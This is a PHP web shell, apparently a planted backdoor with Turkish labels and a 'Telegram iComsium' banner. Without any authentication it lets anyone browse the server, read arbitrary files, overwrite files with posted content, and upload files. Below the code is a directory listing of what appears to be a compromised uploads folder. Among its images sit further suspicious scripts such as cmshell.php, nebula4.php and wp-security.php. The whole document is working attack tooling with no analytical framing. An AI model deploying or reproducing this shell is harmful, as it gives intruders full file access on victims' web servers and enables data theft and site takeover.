<?php
$root = __DIR__;
$style1 = 'color:#000;';
$style2 = 'color:#00a;font-weight:bold;';
function updir($ADir){
$ADir = rtrim($ADir, '/');
return substr($ADir, 0, strrpos($ADir, '/'));
}
$path = isset($_GET['file']) ? $_GET['file'] : $root;
// -------- Dosya görüntüleme --------
if (isset($_GET['view']) && is_file($_GET['view'])) {
header("Content-type: text/plain");
readfile($_GET['view']);
exit;
}
// -------- Dosya düzenleme (kaydetme) --------
if (isset($_POST['save_file']) && isset($_POST['content'])) {
file_put_contents($_POST['save_file'], $_POST['content']);
echo "<b>Dosya kaydedildi.</b><br><br>";
}
// -------- Dosya yükleme --------
if (isset($_FILES['upload_file'])) {
$target = rtrim($path, '/') . '/' . basename($_FILES['upload_file']['name']);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) {
echo "<b>Dosya yüklendi:</b> " . basename($target) . "<br><br>";
} else {
echo "<b>Yükleme hatası!</b><br><br>";
}
}
echo "<b>Telegram iComsium Current root:</b> $root <br>";
echo "<b>Current path:</b> $path <hr>";
echo '<a href="?file='.updir($path).'">..</a><br />';
foreach (glob(rtrim($path,'/').'/*') as $file) {
echo '<a style="'.(is_file($file)?$style1:$style2).'" href="?file='.$file.'">'.basename($file).'</a>';
if (is_file($file)) {
echo ' | <a href="?view='.$file.'" target="_blank">[Göster]</a>';
echo ' | <a href="?edit='.$file.'">[Düzenle]</a>';
}
echo "<br>";
}
echo "<hr>";
// -------- Dosya düzenleme arayüzü --------
if (isset($_GET['edit']) && is_file($_GET['edit'])) {
$editFile = $_GET['edit'];
$content = htmlspecialchars(file_get_contents($editFile));
echo "<h3>Dosya Düzenle: ".basename($editFile)."</h3>";
echo '
<form method="POST">
<textarea name="content" style="width:100%;height:300px;">'.$content.'</textarea><br><br>
<input type="hidden" name="save_file" value="'.$editFile.'">
<button type="submit">Kaydet</button>
</form>
<hr>
';
}
// -------- Dosya yükleme formu --------
echo '<h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="upload_file">
<button type="submit">Yükle</button>
</form>';
?>
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| CVE-2026-46300 | Folder | 0775 |
|
|
| 114495848_LWN 01.jpg | File | 1.75 MB | 0644 |
|
| 138902050_E.3.jpg | File | 1.34 MB | 0644 |
|
| 149346022_012.jpg | File | 361.46 KB | 0644 |
|
| 159407449_LWN 03 DAY.png | File | 11.76 MB | 0644 |
|
| 191911501_23-4-2015.jpg | File | 5.73 MB | 0644 |
|
| 210694742_3.jpg | File | 1.36 MB | 0644 |
|
| 246638971_5.jpg | File | 490.15 KB | 0644 |
|
| 250036153_balamu.php | File | 36.03 KB | 0644 |
|
| 304525984_SHOT.jpg | File | 5.1 MB | 0644 |
|
| 310215854_Enscape_2022-04-13-15-23-28.png | File | 9.04 MB | 0644 |
|
| 321745563_12.jpg | File | 547.36 KB | 0644 |
|
| 338443643_014.jpg | File | 302.52 KB | 0644 |
|
| 349968557_1kb.jpg | File | 907 B | 0644 |
|
| 381905157_BANNER 1.jpg | File | 2.85 MB | 0644 |
|
| 38410258_8.jpg | File | 1.48 MB | 0644 |
|
| 388295270_V3-46_003.jpg | File | 3.36 MB | 0644 |
|
| 390082057_11.jpg | File | 617.51 KB | 0644 |
|
| 408005843_V3-46_001.jpg | File | 2.65 MB | 0644 |
|
| 433155510_privicox.php | File | 2.34 KB | 0644 |
|
| 453464371_V3-50_001.jpg | File | 459.51 KB | 0644 |
|
| 45496102_011.jpg | File | 413.18 KB | 0644 |
|
| 503526044_modfcation 2.jpg | File | 2.31 MB | 0644 |
|
| 521630822_7.jpg | File | 8.15 MB | 0644 |
|
| 61468599_6.jpg | File | 577.5 KB | 0644 |
|
| 619374709_23-4-2015.jpg | File | 5.73 MB | 0644 |
|
| 629354327_E.3.jpg | File | 1.34 MB | 0644 |
|
| 644727738_QW (1).jpg | File | 2.98 MB | 0644 |
|
| 648857909_6.jpg | File | 6.01 MB | 0644 |
|
| 694282341_reading.phtml | File | 3.3 KB | 0644 |
|
| 695451893_LWN 03 NI.jpg | File | 2.44 MB | 0644 |
|
| 724819372_10.jpg | File | 614.35 KB | 0644 |
|
| 735960874_V3.jpg | File | 5.75 MB | 0644 |
|
| 756559735_POSTER.jpg | File | 4.21 MB | 0644 |
|
| 789773361_1.jpg | File | 1.26 MB | 0644 |
|
| 799226900_LWN 02.jpg | File | 1.67 MB | 0644 |
|
| 815303055_Enscape_2022-04-13-15-47-11.png | File | 8.46 MB | 0644 |
|
| 886130591_V3.jpg | File | 5.75 MB | 0644 |
|
| 886650127_nebula4.php | File | 20.76 KB | 0644 |
|
| 909004810_Picture1.png | File | 4.99 MB | 0644 |
|
| 91285765_06.jpg | File | 1.64 MB | 0644 |
|
| 925341600_013.jpg | File | 320.49 KB | 0644 |
|
| 953656813_Picture1.png | File | 4.99 MB | 0644 |
|
| 978688820_5.jpg | File | 490.15 KB | 0644 |
|
| 981591751_1.jpg | File | 382.93 KB | 0644 |
|
| 991055896_V3-50_004.jpg | File | 413.5 KB | 0644 |
|
| a.php | File | 643 B | 0644 |
|
| cmshell.php | File | 29.2 KB | 0644 |
|
| error_log | File | 180.75 KB | 0644 |
|
| wp-security.php | File | 1.09 KB | 0644 |
|
| wp.php | File | 1.44 KB | 0644 |
|